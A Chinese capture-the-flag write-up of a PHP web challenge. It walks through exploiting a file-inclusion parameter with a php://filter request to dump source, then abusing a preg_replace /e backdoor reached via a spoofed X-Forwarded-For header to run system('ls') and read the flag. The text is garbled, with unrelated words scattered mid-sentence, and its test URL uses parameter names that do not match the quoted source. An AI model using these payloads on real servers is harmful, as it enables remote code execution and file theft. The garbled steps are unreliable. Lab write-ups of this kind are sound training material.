題目描述php
其餘破壞者會利用工控雲管理系統設備維護中心的後門入侵系統ajax
解題步驟函數
用dirsearch和御劍掃了一下,只有index.php
,嘗試了一邊,也只有index.php
,也就是設備維護中心
能夠進測試
訪問index,顯示數據接口請求異常
,經過network看到ajax404編碼
看這頁面乾乾淨淨啥都沒有,挨着點一下,看有沒有隱藏功能點,顛倒左上角的設備維護中心
的時候,頁面刷新了,注意到url發生了變化url
從/index.php
code
到/index.php?page=index
,同時在頁面中顯示出了index
字符blog
推測是文件包含接口
訪問?page=index.php
,頁面出現Ok
字符字符串
嘗試用僞協議進行編碼
?page=php://filter/read=convert.base64-encode/resource=index.php
返回了源碼,下面是關鍵部分
<?php if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') { echo "<br >Welcome My Admin ! <br >"; $pattern = $_GET[pat]; $replacement = $_GET[rep]; $subject = $_GET[sub]; if (isset($pattern) && isset($replacement) && isset($subject)) { preg_replace($pattern, $replacement, $subject); }else{ die(); } } ?>
preg_replace
函數有個特性,e模式下
,當subject
中有pattern
匹配的字符串時,會把replacement
看成代碼執行
測試 :?pattern=/asd/e&replacement=system('ls')&subject=asd
ls發現flag目錄/s3chahahaDir/flag/flag.php
用僞協議讀取?page=php://filter/read=convert.base64-encode/resource=s3chahahaDir/flag/flag.php